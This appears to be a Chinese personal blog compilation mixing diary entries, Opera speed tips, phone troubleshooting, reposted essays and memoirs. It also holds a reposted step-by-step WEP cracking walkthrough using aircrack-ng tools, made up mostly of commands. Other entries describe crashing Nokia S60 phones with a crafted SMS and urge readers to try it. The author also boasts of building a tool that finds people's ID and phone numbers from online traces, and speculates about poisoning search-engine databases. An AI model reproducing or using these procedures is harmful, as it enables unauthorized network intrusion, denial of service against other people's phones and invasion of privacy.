搜索引擎的实现我是一知半解，连点儿皮毛也不知道。但毫无疑问，是主动式的数据搜寻，找到后封装放到后台的数据库中。就是个数据搬运的过程。如果能把这个"搬运工"的机理研究透彻，有没有可能，把恶意数据感染到整个后台数据库呢？这样就可以影响全球的网络用户了。
这种恶意数据，一定隐藏的非常深非常好，表面上和所有的正常数据是一样的。更没有执行功能。只有在常见的浏览器查看时，才会显示出威力呢。就象图标漏洞、falsh漏洞。
Ok,说的这么悬，我觉的实现起来也非常难，但并不是没有可能。
虽然google/baidu数据读取时，"搬运工"是个主动控制数据的过程，另外，在数据到最终用户的过程，也要经过层层的控制。感染"搬运工"也非常难，毕竟是黑盒，不了解原理，另外，无法主动喂食数据，只能等到对方来取。给了定制好的数据后，"搬运工"是啥反应也很难捕捞。

虽然难题一堆，但我仍然相信，一个简单的慢速线路，就可以影响整个世界。

-------注：上面这些文字，是春节前写成的，一直放在日记里没有发出来。2009.1.31晚上凌晨，看到google全球各站都出了问题，只要提交搜索请求，包括
google自己的网站，都在搜索结果中，显示为恶意站点。是google自己出错，还是有人恶意入侵？其实我比较相信后者的可能性。

年华易逝，经典永存

treo系列手机，发彩信没有问题，收彩信时，却经常会死机。尤其是当地一个什么手机报业务，NND，必须得订，一收就死。经常收到一半，就得重新启动机器。
手机有问题吗？为什么会一收彩信就死机呢？
移动139邮箱有个功能，可以发送彩信。我在这个界面下面发送的彩信，从来都没有死机过？里面也有图片，也有音乐，为什么不会死机呢？后来我试了多次，一直没什么事，全都正常收下来。
找了找网上，居然还有人用了几千字的篇幅，论证般地说是什么移动基站的问题，说什么移动会将基站负载均衡，强制将手机在多个基站间不停地切换。全是无稽之谈。
Treo手机的可用内存太小。我的treo600为什么收那个手机报会死？收自己发送的彩信，从来没事？说明可用的正常工作内存太小了。有个解决方案，就是使用DBcacheTool，让它清理内存，增加接收彩信时的可用内存。
附彩信的配置：
在彩信接收程序中，属性中使用手工配置
mms gateway address: 10.0.0.172
mms curl: http://mmsc.monternet.com，这儿还有个地址也可以工作 http://mms.monter.net
mms port number 9201
network profile: cmwap 注：这儿只要是cmwap接入就可以啦，也可用mmsc copy
恩，上面这些，算是个记录吧。Treo600用到今天，快五年了。感觉这个手机还是这么好，这么强大，速度快，反应迅速，支持的软件数以万计，各种各样的功能，想像中的功能全都有，而且可以把这些程序，放到SD卡上面。想想，4G的卡不过百来块数，我现在是64MB的卡，上面放了几首数和
几百多种程序。4GB相当于多少个64MB呢？
另外一部WM6的新式手机，就没这么幸运，2GB的卡，内存是
192MB，恩，似乎和笔记本的内存差不多，主频是400Mhz，恩，比手里正在敲字的这个笔记本CPU主频还要高，支持3G/wifi，上网速度达到14.6MB，很好很强大，但只安了几个程序，死机还不如五年前的treo600快，2G的卡上面，占了一多半的垃圾，看着真是眼晕。这就是差距啊。

经典之所以成为经典，总是让人怀念。

忽然坏了一根内存条，真是奇怪。

那台tp600的老笔记本，一直用着好好的，速度也非常快，因为13.3的屏幕，所以写字看东西，都非常舒服，平时都把x60s放在一边，用这台笔记本。

昨天晚上，忽然蓝屏。用相机拍了照，准备重启后查查这些错误代码是什么意思？到底哪儿出问题了。要是主板出问题，可就大了。机器放在餐桌上，难道进水了？

重启后，再次蓝屏；再重启，再蓝屏。而且，每次蓝屏的错误代码不一样。靠，问题到底出在哪儿呢？打开bios，里面有自检程序。IBM就这点儿好，对硬件的软件支持，功能非常多，非常细，可能找到需要的一切。在BIOS自检程序里，先对主板进行检测，滴滴几声，几分钟后，显示一切正常。再检测内存，居然停在一处再也不动了。倒了杯水回来，还是停在原处，BIOS中的IBM特有的鼠标标示，也是一动不动。死机了！！再关机开机重新自检，仍然在原处死机。靠，内存条忽然就坏了。

科技市场买的一根内存条，原来看着做工还是挺不错的。没想到用了没多久就搁屁啦。幸好我还存了五六根内存条，可惜都是PC100 SDRAM 64MB的。

太晚了，小善宝已经睡了，就不折腾着找了。

早上，打开抽屉，果然还有5条64MB的内存躺在那儿，真是不错，居然还有2条是IBM fru的，还有2条是原装hp的。拆机装上，一切自检正常，开机迅速进入系统。

看看是否有适合老机器的浏兰器，opera配置一下？

* 禁用完全使用名字和本地网络查找

无论你输入地址栏什么样的名字，即使是一个单词，Opera都会搜索你的书签，看看本机中有没有匹配的名字。Server Name
Completion试图自动添加字首和字尾。禁用这个功能也许对某些用户非常有用，CPU也会让浏览器跑得更快。点击Tools >
Preferences，选择Advanced和菜单左边的Network。点击Server Name Completion和禁用"Look
for local network machine"和"Try name completion, using"。

* 在检查更新前增加图片的临时储存次数

Opera下载图片到它的临时空间里以便下次访问时图片显示的更快（在你的硬盘里）。通常Opera会在每五小时里检查网站里的图片是否更新。如果你增加了次数，那么也增加了你的运转。

打开Tools > Preferences，点击Advanced。在菜单左边选择History，然后在图片检查（image
checks）栏中选Every 24

hours或every week。你可以永远刷新临时空间只要在你访问网站时按下F5键即可。

* 移除不需要的复制插件

在地址栏中输入"opera:plugins"，它会显示目前所有的插件目录。检查一下里面是不是有你不需要的插件。如：如果你在Opera中从来都不用Realplayer那么就应该去除它。

要去除不用的插件的话，可以在本机的Opera main directory打开plugin-ignore.ini和加入你不需要的插件名字。

另一个复制插件问题是是他们也来自Firefox，如果你在同系统上安装了Firefox。你可以禁用他们，在地址栏中输入"opera:config"。然后在"User
Prefs"中的"Plugin Path"里删除Firefox reference。

* 如果你升级Opera的话可以重新建立你的profile（长时间使用Opera）

这仅仅适合哪些升级Opera很多的用户。我在Opera版本6
的时候就使用它，每次升级都是建立在老版本上。他们的ini文件非常混乱，尤其是Opera版本6的ini文件依然在所有的Opera版本上运用。陈旧和不正确的ini文件会导致所有的问题（网页显示慢、CPU消耗太多）。

简单的办法是背份Opera6.ini文件到你的Profiles的Opera
Installation，然后删除它。请注意在做这步前必须关闭Opera。然后重新打开Opera，它会自动建立一个没有旧资料的新Opera6.ini。

如果你进入Opera你将失去一些个人资料和以前的信息。但可以使用Preferences来获得个人信息，以后使用about:config也没有任何问题。

* 取消Turbo mode

作为提速的技巧开始取消Turbo mode也许会有一点怪的感觉，不过以后会很快地清晰。Turbo
mode意味着Opera预先储存图片，也就是说你看到全部的图片时其实它并没有完全下载。这时，电脑的CPU和记忆卡处在用尽的状态下，特别是对那些速度慢的电脑。可能对速度快的电脑并不明显。

输入"about:config"和在搜索条里输入"Turbo"，点"Enter"。取消Turbo Mode和点击保存。

* Increase the number of total connections增加连接的数量

如果你一次打开很多窗口同时浏览一些网站的话，你也许想增加最大的连接数量，这可能会出现一个对那些使用宽带的用户来说在浏览网站时有比较大的冲击，但也许对那些比较慢的连接来说没有什么特别，如低于256K的速度。

输入"about:config"，在搜索条里输入"connections"，点。更改Max Connections
Total中的20，我建议是32至64。保持Max

Connections per Server的原来设置。如果你想试试慢的设置的话，可以更改为4。

* 减少历史纪录里过去访问的网页

Opera保存至少500个过去访问过的网站。好处是Opera显示所有网址适配你输入的网址，无需完全输入地址就可以操作滚动条和下载网页。这是Opera启动时需要的冲击。

一个临时解决的办法是手动清除历史纪录，另一个好的办法是减少Opera储存的网站。

点击Tools > Preferences，打开"Advanced"，在左边的菜单里选"History",在"Addresses"栏里点击"Clear"。你可以试试是不是能减少储存的网页和增加速度。我从来不用这个功能，总是把它设定为0。你也许可以设定为100。

* 更改Expiry设置

一些网站的站长想让你浏览他们的网站时每次都刷新以便于它显示新的广告条。这个作用让Opera不使用已经储存在缓存里的网站资料，而完全从网站那里直接下载。

我们可以不用理会网站的Expires Meta，只要在Opera configuration中更改两个设置。

在地址栏中输入"opera:config"，点"Enter"。在搜索栏里输入"Expiry",点"Enter"。然后把Check
Expiry History和Check

Expiry Load中的数字更改为1。

* 快速保存图片

这可能是实用性大于改善性的技巧之一，但我觉得还是有必要包含在这里。取代右键保存图片的方法是可以简单地按住CTRL键，左键点击图片。它会跳出下载窗口，你可以立刻保存它。

* 延缓邮件和rss在启动时的连接

Opera在启动时会优先区分邮件和rss。这意味你可以看到在启动时的很多硬盘运转，它显然会影响Opera的速度。延缓每个每个账户的独立性可以防止Opera在启动时变得缓慢。

在你本机中的accounts.ini文件，它应该在Opera mail folder里。每个账户都有一个Initial Poll
Delay=X，这个"X"可以设定为至少60（秒)，rss feed可以为120或更多。

*更加节省资源

1、Flash可以由一个叫Live
Connect的技术经常不必要地加载整个Java虚拟机环境，这可观的加大了Opera的内存占用。所以，一般情况下，关掉Java，需要时再开。

2、老机器的用户应该关掉javascript除非有些页面需要。记住F12可以迅捷的调整这些设置。

3、为了节省CPU周期，关掉程序界面的特殊效果，而且如果用"Windows自身"界面可以节省系统资源。

4、把缓存放到非系统分区并且保持磁盘没有太多碎片。

5、把磁盘上的缓存转到内存中可以加速。首选项-高级-历史那里，可以设置内存缓存，默认是自动，如果不喜欢，可以设置小一点。不过还是推荐自动，如果不是资源确实需要分配给其他吃内存的程序的话。

6、有些人把Opera的进程优先级设成"高"来加速，但注意还有其它程序运行时最好不要这样做。

7、图像多的页面让老机器进入龟速状态

原因：很多图片占内存和CPU，老机器很难渲染页面。

解决：

Opera其实提供一种更省内存和CPU的模式，就是不进行预绘图。好处是省系统资源，但图像会在页面上"蹦"出来，而不是平滑滚动出现。

输入"about:config"和在搜索条里输入"Turbo"，点"Enter"。取消Turbo Mode和点击保存。

另外opera对缩略图采用了resample(采样)的处理方法，实际图片比显示图片小得多，opera用上resample，令图片更加平滑，这是十分先进及美观的render方式，firefox，ie�不支援，但因此opera吃上不少cpu资源，用家如果希望取消这功能，换�更流畅的卷动，可以取消选项中的小勾。

输入"about:config"和在搜索条里输入"Interpolate"，点"Enter"。取消Interpolate Images和点击保存。

注： 也可以一直用"缓存的图像"模式进行浏览，在想看的图像上右击，选"载入图像"。

8、读取页面时各种内容大小位置经常变动，晃眼，看起来觉得挺慢的

原因： Opera使用了一个激进的渲染技术，加速优先读取文本内容，代价是每次重绘都会添加新内容。许多用户觉得重绘网页在事实上降低了浏览速度，
尽管客观上来讲是加快了。Opera可以让你选择你认为快的浏览方式。

解决：如果你愿意以多次重绘页面为代价先读文本，设置首选项? 高级 ? 浏览 ?
载入设成"立即重绘"。如果你愿意等，（看页面平滑装载），就按你偏好改变这个设置为其他值。烂网速好机器的一般设1-2秒，网速机器都不好的就2-3秒。如果你是传说中的极速网络，就"立即重绘"或者"载入后重绘"（超级平滑的载入）。如果你是烂机器高网速设2秒以上，这种情况"载入后重绘"是不错的选择，它可以减少

这儿有一个ubuntu第三方版本，已经汉化。占内存70MB左右，速度非常快。
.下载地址

http://ftp.ubuntu.org.cn/home/yaska/prayaya-804-hack/

用户名：ubuntu 密码：ubuntuftp

安装方法同Prayaya LiveSystem 804，已安装过的，直接替换iso即可:

http://www.inlsd.org/forum/viewtopic.php?t=313

官方论坛： www.inlsd.org

damm linux，另外使用 绿界浏览器，对老机器非常有用。

同时开绿界和opera时，绿界会出错死掉退出。Winword不用时，只占 720KB内存，不占用cpu。在word里面写东西时，资源占用马上升上来了。

春天来了--朱自清

望着，盼望着，东风来了，春天的脚步近了。
一切都像刚睡醒的样子，欣欣然张开了眼。山朗润起来了，水长起来了，太阳的脸红起来了。
小草偷偷地从土里钻出来，嫩嫩的，绿绿的。园子里，田野里，瞧去，一大片一大片满是的。坐着，躺着，打两个滚，踢几脚球，赛几趟跑，捉几回迷藏。风轻悄悄的，草绵软软的。
桃树、杏树、梨树，你不让我，我不让你，都开满了花赶趟儿。红的像火，粉的像霞，白的像雪。花里带着甜味，闭了眼，树上仿佛已经满是桃儿、杏儿、梨儿！花下成千成百的蜜蜂嗡嗡地闹着，大小的蝴蝶飞来飞去。野花遍地是：杂样儿，有名字的，没名字的，散在草丛里，像眼睛，像星星，还眨呀眨的。
"吹面不寒杨柳风"，不错的，像母亲的手抚摸着你。风里带来些新翻的泥土的气息，混着青草味，还有各种花的香，都在微微润湿的空气里酝酿。鸟儿将窠巢安在繁花嫩叶当中，高兴起来了，呼朋引伴地卖弄清脆的喉咙，唱出宛转的曲子，与轻风流水应和着。牛背上牧童的短笛，这时候也成天在嘹亮地响。
雨是最寻常的，一下就是三两天。可别恼，看，像牛毛，像花针，像细丝，密密地斜织着，人家屋顶上全笼着一层薄烟。树叶子却绿得发亮，小草也青得逼你的眼。傍晚时候，上灯了，一点点黄晕的光，烘托出一片安静而和平的夜。乡下去，小路上，石桥边，撑起伞慢慢走着的人；还有地里工作的农夫，披着蓑，戴着笠的。他们的草屋，稀稀疏疏的在雨里静默着。
天上风筝渐渐多了，地上孩子也多了。城里乡下，家家户户，老老小小，他们也赶趟儿似的，一个个都出来了。舒活舒活筋骨，抖擞抖擞精神，各做各的一份事去。"一年之计在于
春"；刚起头儿，有的是工夫，有的是希望。
春天像刚落地的娃娃，从头到脚都是新的，它生长着。
春天像小姑娘，花枝招展的，笑着，走着。
春天像健壮的青年，有铁一般的胳膊和腰脚，他领着我们上前去。

--------------
春天来了。早上6点左右，太阳嫩嫩黄黄地从地平线跳出来，清凉的空气中，弥漫着花草刚刚出芽的那种味道，清新怡人泌人心脾。微风吹在身上还点儿冷，透到骨头里，却说不出的惬意，象把春天的活力吹到身体里，和树木一样开始长大。东风近了，走老丈人或回娘家的各位，春天来了

由“人肉搜索”想到的

在网络上，定位一个人的物理信息，原来是比较难的问题。所以中国才出了个"人肉搜索"这个词。但前几天我仔细研究这个问题后，发现还是有许多方法可以利用的，而且利用方法都比较简单，可以由这种途径，很快地定位到一个的物理信息,身份证号、手机号一类的相关信息。
相到了一系列的利用方法，感觉比较简单，但其中一个有效的方法需要借助于某种工具。实现这种工具也非常简单，于是在网上google/baidu找到一天一夜，结果一无所获。心想不可能啊？这么简单而有效的工具，怎么会没有人去做呢？还是做了自己独享了呢？
但一天一夜的google/baidu，国内外的网站上，确实一无所获。有几个页面在讨论，其中的原理倒是与我想的一样，但没有完全实现。

只所以辛苦找这个工具，就是因为想看看，到底有什么人实现了这种东西。但确实没有发现。其实，只要实现了这个工具，网络上的信息，自己就可以方便定位到现实中的人了。而不用借助了网络警察、安全部门和网管了。人人都有途径查找别人的物理信息了。呵呵.

找来找去，也没有找到。干脆自己写了一个。试了一下，效果还真是好。所有的信息，自动记录下来了，查看也比较方便，直接打开记录文件，大量的信息一下子就出来。而且，这么好的功能，都是利用正常充许的功能，不使用恶意脚本，或者图标/flash漏洞，或者跨站一类的方法，很是不错。

所以说，技术不在于多么复杂，而在于应用在何处。就象在做网络安全服务的过程中，其实许多方法，大家都是知道的，或者曾经了解过的，说穿了都比较简单，但一般人为什么不会做呢？因为大多数人，都为琐事所绑身，没有时间和精力去考虑这些东西。技术对于外行来说，是比较玄而神秘的东西，对于内行来说，就是一层纸的距离。大量的创新，也是基于这个，都是点点积累起来的，尤其对于行内人士，了解之后也会发现，不过如此。从另一方面说，啥时候能有不断的、突破性的创新呢？这需要一个团队、一个平台、丰富的物质提供，更重要的，需要一个或几个特别有创新性的大脑。恩，我倒有一个，但很多的想法却没有记录下来，或者是意淫的，或者是兴奋的，不管如何，都应该记录下来，以后留给儿子读着玩儿也好啊。

初二了，早晚的时候，穿一件薄薄的衬衣，出去跑一圈，或者打会儿球。大部分的人比较懒惰，不会为了简单的目标而坚持。其实许多时候，我们只要做到小学生守则中的大部分，就能足够优秀了。
丝丝凉意，却明确地感受到春天的气息了。我会不会是第一个感受到春天气息的人呢？那种感觉无法具体描绘，却很确定，有一些花草刚刚发芽散发的味道，稚嫩清新，泌人心脾，和草坪一类的味道完全不同。春天来了。我这牛儿要吃些嫩草儿。
噢，还有个事儿忘了写。
虽然由网络定位一个人比较简单，但由一个人定位网络信息，却有一定的难度。比如，随便指定一个人，说这个人在网上的ID是什么？有什么QQ号、邮箱、blog、账号一类的，这个难度要高不少呢。这个真实度的对应，虽然也有一些方法，但对于没有网络管理权限，又没有资源的人来说，确实有些难度。但要是有网络管理权限，有相应资源，如网监、通信管理、安全部门、做某某墙、ISP接入的人们来说，实现难度就小多了。不过，办法也不是没有。比如孩子离家出走了，这个小孩的网络信息会有哪些？由他的卧室、朋友、记事本、常用的机器一类的东西里面，也会找到。但胡哥温哥的网络ID是什么？邮箱是多少？有blog吗？这类信息如何找呢？难度就很大了。但一切皆有可能，我相信，只要有足够的智慧、精力，没有什么不能实现。而智慧、精力，是可以通过优秀的团队去实现的。

聊天与小纸条

◎ 小纸条与QQ

我们这个年代第一个通过文字即时聊天的其实是课上传的小纸条。同样小纸条具有和QQ一样的私密性、一问一答制、表情符号、延迟现象、网络传输不稳定、黑客拦截、拒绝消息、服务器中转……同时也支持群聊功能、和免打扰功能，但是绝对不会存在的就是"自动回复系统"……

搞笑的一段话

我觉得，车主应该想明白一点，此桥是你修，此路是你造，要想从此过，还得留下买路钱，这是社会主义初期阶段发展中必须的。社会需要和谐，财政需要收入，你就乖乖交钱，否则你小心政府在农民工群体里搞一个投票，说你的小汽车该不该没收充公，之后全票通过，然后说你的车被民意没收了。汽车虽然贵，但好歹你拥有产权，汽油虽然差，但好歹的确是汽油，能让你发动，路虽然破，但好歹落差都在一米以内，收费站虽然多，但好歹两个收费站之间的距离比你的车要长点，通行费虽然高，但好歹交了钱还真的能通行了，所以，车主们就知足吧，别闹了，你弄掉一个费，多出一个税，多累。

无线上网的乱想

不折腾病毒了，太浪费时间。有那些时间，还不如研究一下新买的无线上网卡，感觉真是不错啊。就是离人有点儿近，稍微有些辐射似的。
缺点是，感觉CMNET还不如CMWAP速度快，这也太让人郁闷了吧。
恢复了系统，速度倒是快了许多。原来那个病毒，真是顽固，正好有事也不折腾了。没有病毒的感觉要好多了。

现在开了word，千千静听，opera开了12个网页，qterm连着bbs，开着资源管理器正在复制文件，开着windows task
manager，机器反应还是很快,cpu很少过15%，内存还没有超过物理内存的限制，硬盘基本不亮，一切感觉很是惬意。这台老机器又重新焕发了青春。
复制完文件后，再看系统资源占用，已经很少超过2%。无论打开哪个文件都是立即响应。99年的机器，到底落后在哪儿呢？

09年的无线上网资费，忽然一下子变的特别便宜。电信并购了联通CDMA后，半死不活的，打客服电话不通，在网站上面留言咨询，没有人回复。上网速度慢，也没有什么促销活动，不知道这帮人在忙乱什么？看看移动，服务专业，促销力度大。话说，现在最出名的就是山东的上网卡了。一年的上网费，才100元左右，有些地市甚至低于这个价格，再加几百块，还有硬件无线上网卡。要是3G一开，速度比传统的adsl还快，还能随时随地上网，出差在外，也不用到处找wifi信号破解了。多方便？！国内再也没有比山东的上网卡，更便宜的了。
没有确认的消息。3G应该很快就开通了。牌照已经拿到，下面就是建设实施了。按说电信的3G应该最快开通才对，只要升级一个板卡就可以升级到3G的cdma
2000。但看现在的表现，无论是服务还是市场促销，好像电信扮演着官僚的角色，对什么都不热衷，端着架子准备让用户供起来。不用说一块板子，即使一个命令就可以升级，那等到什么时候，也就说不准了。
新联通的3G，到时会有优惠吗？终端比较多，毕竟wcdma是世界上广泛使用的技术，有大量的水货行货手机、上网卡等终端设备，都已经支持WCDMA了。但移动的td-wcdma毕竟是国内标准，只有几个有限的手机型号能支持，而且价格贵样子丑，所有想到的缺点，都集于一身。要是移动也能尽快开通wcdma，相信形势会一边倒，绝对大量用户都会选择使用移动的服务。看看这价格，不能再低了吧？服务方面，移动更是有一套的，对比其它运营商，基站更多，人员更强，资金更雄厚，谁还能比？
电信的3G，ev-Do在有些省市已经开通了。但不看好山东这边的进度。移动想推td-scdma，要做的要投入的东西还有很多。新联通比较折中，技术先进，终端丰富，就看建设速度了。建慢了的话，还是和老联通一样，永远当着小弟般的被动角色。
打完收功，准备吃饭。

用短信搞死对方的S60手机

用手机发送一条包含32位以上的邮件地址加上一个空格给以下S60的手机：
Nokia E90 Communicator
Nokia E71
Nokia E66
Nokia E51
Nokia N95 8GB
Nokia N95
Nokia N82
Nokia N81 8GB
Nokia N81
Nokia N76
Nokia 6290
Nokia 6124 classic
Nokia 6121 classic
Nokia 6120 classic
Nokia 6110 Navigator
Nokia 5700 XpressMusic

S60 3rd Edition, initial release (S60 3.0):
Nokia E70
Nokia E65
Nokia E62
Nokia E61i
Nokia E61
Nokia E60
Nokia E50
Nokia N93i
Nokia N93
Nokia N92
Nokia N91 8GB
Nokia N91
Nokia N80
Nokia N77
Nokia N73
Nokia N71
Nokia 5500
Nokia 3250

S60 2nd Edition, Feature Pack 3 (S60 2.8):
Nokia N90
Nokia N72
Nokia N70

S60 2nd Edition, Feature Pack 2 (S60 2.6):
Nokia 6682
Nokia 6681
Nokia 6680
Nokia 6630
效果：利用该漏洞，可以锁死手机的信息功能，对方再收发不了短信，甚至死机...目前无解决办法

youtube上有视频，应该是真的，有兴趣的可以试一下！

另外针对现在大量的山寨机，可以使用特殊的media导致死机

宠物观

男不养猫，女不养狗！

古人云：男不养猫，女不养狗，秉性有异，难免撕咬，打的头破血流，男人是狗，养猫乱
性，女人是猫，养狗变性，男狗与女猫共处一室，更是天下祸水之渊源。

猫之性情，记吃不记打，图安逸，弄性子，重家境，而无情谊，洁身自好，却吃哪拉，喜
怒无常，贪吃贪睡，真真不可教也，又善投怀送抱，搬弄风骚，扰人耳目，乱其心境，怎
奈，常常不合适宜之玩劣，又被人捧之为调节气氛，是非颠倒，乾坤倒转，不至功朽名败
之时，无人谓之祸水，猫皮不能取暖，猫肉不能果腹，处身市场经济，无丝毫经济价值，
又百万贫民之睽睽目下，夺其口粮，舔抓拭脸，翘尾弓腰，不屑之态，可恶，可憎，可弃
，可杀之以慰民，并无偏激，猫精除外，或世上只有猫一只，猫精百万，未尝不可。

狗性，通人情，理世故，辨是非，察毫情。饮残汤，食剩饭，无怨；呷鸡汤，品猪肝，体
宽。护家院，牧羊群，费心神，熬体力，狗皮保暖，狗鞭壮阳。

古有哮天犬，而无震地猫，男人似狗，女人类猫，一矛一盾，相克相生，万物之根本，养
狗谓之驯，养猫谓之戏，男娶女，意在戏之，女嫁男，意在驯之，一个愿打，一个愿挨，
家也就成了一矛支起一盾之意，时值今日，猫与女人都演变成为政治动物，且有经济头脑
，嬉戏之间立大事，不是凡事都要兢兢业业，不是只有猫怕狗，狗畏猫，是一个让男人温
柔致死的原因。

深岩突缝妙香稠－我曾是一个贫困生mm(转文)

标 题: 深岩突缝妙香稠－我曾是一个贫困生mm
发信站: 水木社区 (Sat Dec 13 13:32:47 2008), 站内

今天忽然想起高中班主任送我的这句诗，然后想起高三到大学的岁月。那几年，我曾是一个贫困生，一个贫困的mm。

其实我家本来不贫困，高三那年母亲患了脑癌，父亲因为照顾母亲失掉了工作，治病花完了所有的积蓄，结果母亲还是在我大一的寒假走了。高三的时候母亲动了第一次脑外科手术，结果效果不好，接着动第二次，四处求医问药。记得在外地求医的时候，父亲舍得买800多的药却舍不得多给自己买一碗4块钱的刀削面。那时候，每碗鸡蛋西红柿面都吃得很心酸。高三最后冲刺的时候，同学们都开始补充营养。我是自己做饭，还偶尔骑车到医院给父母送饭。高考的那三天，同学的家长都做了各种营养餐送到考场，我啃的是父亲买来的面包（面包很好吃，父亲夹了很多菜。）要说我真幸运，能如愿考到北师大，还在母亲去世之前把大红的录取通知书拿给她看。她虽然已经不会说话，但脸上是久违的灿烂的笑。

高三要买很多复习题，那时候家里到处都需要钱，我实在没法跟父亲开口。到了交费的时候，我连130块钱也拿不出来，只好悄悄跑到班主任老师那里恳求她缓一缓。班主任心肠好，问了情况，帮我垫了钱，再也不要我还。还有那时候教政治课的老师，在办公室里跟我说："以后你的复习材料我帮你买，不要紧。"所以我高三后期的很多复习题都是免费的。

大学开学了，我拿着家里凑的3000块钱，其实基本都是舅舅的钱，由舅舅送我到了北京。那时候师大是不用学费的，但是交完900多的住宿费，买完各种生活用品，就只剩不到2000了。这3000元是我大学里跟家里要的唯一一笔钱，以后再也没要过。我每月的饭钱最多90块，一天不到3块钱。我发现白菜、豆腐、豆芽这些菜，半份才4毛钱，而且营养还好。那时候经常用的化妆品，就是师大商店里四块还是五块钱一瓶的"黄瓜洗面奶"，因为香皂实在太干了。说到这儿，很多mm都会笑吧。衣服大部分都没超过40块钱。那时候最常去的地方是西单附近的"民族大世界"，因为可以讲价，很多时候居然可以买到15块钱的衣服和裤子。记得有一次买到一件60块钱的浅黄色小西服，穿着很好很喜欢，狠心买下以后，硬是难过了几个月。最尴尬的是有一次帮同学打饭，打完之后很多天她都没有还我钱，因为1块多钱实在是个小数目，不值一提。可是对我，是两顿早饭了。所以第二次她再让我帮着打饭的时候，我就找了个理由推脱了。这么多年，这些往事大概她早就忘了吧，我很想对她说一声对不起。

那时候系里发贫困生补助的时候，班主任让每个申请人当着全班的面谈谈自己为什么贫困。记得我说得泣不成声，很多申请的同学也是。那样的要求现在是无法想象的，因为当时拿到的补助，不过是一次性的100元钱。而我们，都只有不到19岁。19岁，正是自尊心最强的时候。我记得，我的脸通红，我的声音颤抖，我的心象插了一把刀子。

我是小地方来的学生，知识很有限，所以上课很少发言，以至于一个学期过去了认识我的老师都没有几个。到了期末的时候，班主任下课前忽然点我的名字叫我去办公室。站在她的办公桌前，她一脸惊讶地说："原来最高分是你。"成绩好再也不用申请补助了，我很自豪，因为每年可以拿到800元的一等专业奖学金。不要笑，师大的一等就是这么少。不过就这么少，也差不多够我的住宿费了。其他的费用我再想办法。功课好点以后，我开始打工。我曾经大二的时候负责做整层楼的清洁，也给系里的一个老师整理文件，然后拿到50块钱。大二下半学期开始做家教，做翻译，终于可以不用做体力活而养活自己了。回想起来，在最好的年龄，我确实是那样一个灰头土脸的mm，穿着很土气的衣服，一脸的菜色。大四的时候，当我某天终于换了一件小绿毛衣，宿舍的mm忽然说："××，其实你长得很好看哎。"在那个最美丽的年龄，我们都是美女。可是在我心里，美丽总是属于别人的，绝不可能属于象我这样的贫困mm。

大四我拿到的最大的一笔奖学金是来自国外一个银行，一共4000块钱。我拿出1000元给班主任，让她把这些钱分给贫困生。用这些钱，他们应该再也不用在全班同学面前说自己为什么贫困了吧？贫困不是我们的错，贫困生比别人更需要一些小自尊。

再后来，我保送研究生，然后拿到了很多很多奖学金。我攒着这些钱，考托考G。加上同学老师的资助，后来来到了北美。现在我有RA
和TA，还在图书馆兼职做information
assistant，生活好了很多。可是，苦日子里养成的"小气"，却总也改不过来。LG总是说我应该买些更贵的化妆品，更漂亮的衣服。其实我的化妆品已经很不错了，衣服也很好，但我花钱却总是做不到"大手大脚"。我会常常想起那些贫困的岁月，那些心情和那些经历。

那么多年，我都没掉过几滴眼泪。然而今天敲这些字的时候我却流泪了。脚下的路越走越宽，但没有过去那些日子，我就永远无法成就现在的我。又一年要过去，我想起所有帮助过鼓励我的同学和老师。我想给你们深深鞠个躬，说一句感谢。

当年老师临别送我的诗是郑板桥歌颂兰花的，我想老师是希望我能在恶劣的环境里成长吧。这些年，我一直记得，以后也不会忘记：

身在千山顶上头，深岩突缝妙香稠。非无脚下浮云闹，来不相知去不留。

谨以此文记载那段岁月，也和比我贫困和跟我一样贫困的贫困生同学共勉。

机器自带的intel网卡破解WEP(转文)

BT3下Intel Proset 3945abg网卡破解wep实战
2008-09-10 20:41:42 浏览(6239)

注1：经过N天的实际操作，无客户端的WEP破解基本上是无法实现的（运行airodump-ng �ivs �w abc（abc是存盘的文件名）
-c （channel号） 网卡名时#data数为0）。

注2：无客户端的概念：只有AP开着，AP下没有任何有线或无线的网络连接。

注3：BT3下运行Kismet的方法：

#ifconfig wlan0 up

#airmon-ng

显示无线网卡为iwl3945

#modprobe �r iwl3945

#modprobe ipwraw

#iwconfig

显示无线网卡已变成wifi0、monitor mode

编辑/usr/local/etc/kismen.conf文件，把source改为source=iwl3945,wifi0,Intel

存盘。

#kismet

用"s"、"f"、"i"显示单个AP的详细信息。

1. 环境：DELL M1210、Intel Proset 3945 a/b/g无线网卡

2. 下载BT3，解压到U盘（根下BOOT、BT3目录）

3. 运行BOOT下的bootinst.bat，制作U盘启动

4. reboot PC，按F12进入BOOT MENU，选USB

5. 进入BT3菜单，选BT3 Graphics mode (compiz Nvidia)-Experimental

6. 打开一个shell

7. #ifconfig �a（记下本机网卡MAC）

8. 显示无线网卡为wlan0

9. #ifconfig wlan0 up

10. #airmon-ng

11. 显示无线网卡为iwl3945

12. #modprobe �r iwl3945

13. #modprobe ipwraw

#airmon-ng start wifi0 6 将网卡设置成AP监听模式

14. #iwconfig

15. 显示无线网卡已变成wifi0、monitor mode

继续:

1. # airodump-ng --ivs -w name -c 6 wifi0（name是存盘的文件名，6是cannel号）

2. 显示要破解的ap的essid 和mac ，并记下ap的essid 和mac。（#data为0时则为无客户端AP，不能继续）

3. 不关闭这个shell，另开一个shell

4. #aireplay-ng -1 0 -e ap的essid -a ap的mac -h 自己网卡的mac wifi0

5. 显示以下信息则为成功

Sending Authentication Request

Authentication successful

Sending Association Request

Association successful :-)

21．#aireplay-ng -5 -b ap的mac -h 自己网卡的mac wifi0来获得xor文件

如果一切顺利，系统将显示

Use this packet ?

输入y回车，将得到一个xor文件（以fragment开头）

再输入ls 查看当前目录，你将看到刚才生成的一个后缀名为xor 的文件。

22．#packetforge-ng -0 -a ap的mac -h 自己网卡的mac -k 255.255.255.255 -l
255.255.255.255 -y fragment -****-****.xor -w mrarp
其中，-l中的l是L的小写，别和1混淆，而其中的fragment-****-****.xor是刚才生成的文件名。

系统显示：Wrote packet to: mrarp

23．#aireplay-ng -2 �r mrarp -x 1024 wifi0(-x 1024 是限定发包速度，避免网卡死机，选择1024)

输入y回车

前面的抓包窗口上的#data将迅速增加

24．另开shell

25．#wesside-ng �i wifi0 �v ap的MAC，破解完成。

26．到#data增加到3万以上时，另开shell

27．#aircrack-ng -n 64 -b ap的mac name-01.ivs

其中64是64位密码，如果是128位，换成128即可。

(注:摘之网文,还有许多破解方法,破解步骤都差不多,要灵活变通,如有疑问,请多交流.)

蓝色命令为主要执行命令
投稿：技术
评论(1) | 浏览(6239) | 收藏到我的网摘 | 邀请好友阅读

